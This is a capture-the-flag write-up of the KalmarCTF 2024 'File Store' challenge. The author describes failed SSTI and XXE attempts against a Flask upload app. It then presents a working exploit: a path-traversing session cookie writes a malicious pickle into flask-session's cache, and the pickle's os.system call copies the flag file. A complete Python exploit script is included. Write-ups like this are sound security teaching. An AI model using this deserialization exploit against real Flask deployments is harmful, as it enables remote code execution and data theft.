# KalmarCTF 2024 File Store Writeup by [r2uwu2](https://github.com/r2dev2) > Upload your files on the Kalmar File Store and share them with your friends. [toc] ## Challenge We are given a relatively simple flask application. We can upload an image by clicking `Upload Image`. ![upload](https://hackmd.io/_uploads/SkmPv9XRp.png) We can then view the image by clicking on the image. ```python= import os from flask import Flask, redirect, render_template, request, session from flask_session import Session SESSION_TYPE = "filesystem" MAX_CONTENT_LENGTH = 1024 * 1024 app = Flask(__name__) app.config.from_object(__name__) Session(app) @app.route("/", methods=["GET", "POST"]) def index(): path = f"static/uploads/{session.sid}" if request.method == "POST": f = request.files["file"] if ".." in f.filename: return "bad", 400 os.makedirs(path, exist_ok=True) f.save(path + "/" + f.filename) if not session.get("files"): session["files"] = [] session["files"].append(f.filename) return redirect("/") return render_template("index.html", path=path, files=session.get("files", [])) if __name__ == "__main__": app.run(host="0.0.0.0") ``` In this application, we have one endpoint to see all the files in our session and another endpoint to upload files to our session. Our flag is in `/flag.txt` and we must exfiltrate it. ## Attempt 1: Failed SSTI RCE The session id is the value of the `session` cookie in flask. It is well-known that in frameworks like flask, if we can write to the `templates` directory, we can perform a [Server-Side Template Injection (SSTI)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) and achieve arbitrary code execution. I crafted a payload to send, but was met with an error: ![ssti error](https://hackmd.io/_uploads/rkV5LcQ0a.png) Unfortunately, we are not able to craft a malicious template because our user does not have the permissions to do so. ```dockerfile= FROM python:3.11-slim RUN python3 -m pip install flask flask-session gunicorn RUN useradd ctf COPY flag.txt /flag.txt WORKDIR /app COPY app.py . COPY templates/ templates/ COPY static/style.css static/ RUN mkdir -p static/uploads flask_session RUN chmod 777 static/uploads flask_session USER ctf CMD gunicorn --bind :5000 app:app ``` As declared in the `Dockerfile`, we run as the `ctf` user who only has write access to `static/uploads` and `flask_session` directories. `static/uploads` is where the images are uploaded and `flask_session` contains session information. ## Attempt 2: Failed LFI via XXE Since I am able to upload to `static/uploads`, I tried uploading an xml file to perform a [local file inclusion via XXE](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection). The first example in the link is a test for whether the server is vulnerable to XXE. ```xml! <!--?xml version="1.0" ?--> <!DOCTYPE replace [<!ENTITY example "Doe"> ]> <userInfo> <firstName>John</firstName> <lastName>&example;</lastName> </userInfo> ``` If the server is vulnerable to an XXE, `&example` will be substituted with the `ENTITY` definition. This would indicate that we have the ability to read a file as we can set an entity to a file we want to read. However, we get this reponse back: ![john doe](https://hackmd.io/_uploads/Hy7F_qmRa.png) Unfortunately for us, flask's xml handling does not expand out `ENTITY` so we will not be able to LFI. ## Attempt 3: RCE via Session Overwriting Other than `static/uploads`, we can overwrite all the `flask_session/*` session objects. I ran a bash shell in the docker to experiment around. ![flask session](https://hackmd.io/_uploads/B1EFtcQAT.png) Looking around in the directory, we have a file for each session. The file name does not match the session id. Each session seems to be some form of serialized object. I decided to look at `flask-session` source code. The filesystem session seems to use [cachelib library](https://github.com/pallets-eco/cachelib) as indicated by [below code](https://github.com/pallets-eco/flask-session/blob/41e2771055e1e533da6cdb84efea68751d0fe618/src/flask_session/sessions.py#L359): ```python=357 from cachelib.file import FileSystemCache self.cache = FileSystemCache(cache_dir, threshold=threshold, mode=mode) ``` Looking into [cachelib code](https://github.com/pallets-eco/cachelib/blob/18bb52cc29a07f7f0d7992d682d769f3497851b4/src/cachelib/file.py#L203), the cache is fairly suspicious: ```python=203 def get(self, key: str) -> _t.Any: filename = self._get_filename(key) try: with self._safe_stream_open(filename, "rb") as f: pickle_time = struct.unpack("I", f.read(4))[0] if pickle_time == 0 or pickle_time >= time(): return self.serializer.load(f) except FileNotFoundError: pass except (OSError, EOFError, struct.error): logging.warning( "Exception raised while handling cache file '%s'", filename, exc_info=True, ) return None ``` It seems like if we set the first 4 bytes of the filename to `0`, it decides it's pickle time and unpickles the pickle (one can see explicit pickle calls in other files). If we snoop around the `cachelib` codebase, we can see that the filename is generated by `md5` hashing the key name. We can now overwrite arbitrary sessions. ## Exploit (It's so Pickling Time) It's pickling time woo. Our overall flow looks like: 1. Create a session `owo` by uploading a picture (let's make it a picture of [alex](https://github.com/bkrl) typing for extra hacking powers) 2. Set our session to `../../flask_session` and upload a pickle with file name `md5("owo")` - the pickle copies `/flag.txt` to `/app/static/uploads` so we can read it later 3. Send a request using session `owo` to load our malicious pickle 4. Send a `GET /static/uploads/flag.txt` request and acquire the flag The flag has now been captured ![flag](https://hackmd.io/_uploads/B16sn9mRp.png) ```python= import pickle import requests import io import os # sess = "Jfa72ikLQaW41AoNhhkCZvw1pVklvyLkch33oXo4Tz8" # base_url = "http://0.0.0.0:5000/" base_url = "https://0d268116a5f57f10e5aa63f3d1e31e82-46847.filestore.chal-kalmarc.tf/" url = lambda end: f"{base_url.rstrip('/')}{end}" sess = "owo" dummy = "alextype.png" sess_hash = "938b5b91ebed323d56c80104a075b57e" s = requests.Session() s.cookies["session"] = sess with open("/home/rbadhe/Pictures/alextype.png", "rb") as fin: r = s.get(url("/"), files={"file": fin}) print("Uploading image") print(r) print(r.text) # shell pickle time class Sh: def __reduce__(self): return (os.system, ("cp /flag* /app/static/uploads/flag.txt",)) s.cookies["session"] = f"../../flask_session" with open(sess_hash, "wb+") as fout: # need leading 4 bytes of 0 to tell flask-session that this is a pickle fout.write(bytes([0] * 4)) pickle.dump(Sh(), fout) with open(sess_hash, "rb") as fin: r = s.post(url("/"), files={"file": fin}) print("Uploading pickle") print(r) print(r.text) s.cookies["session"] = sess r = s.get(url("/")) print("Triggering pickle", r) r = s.get(url("/static/uploads/flag.txt")) print(r) print(r.text) ```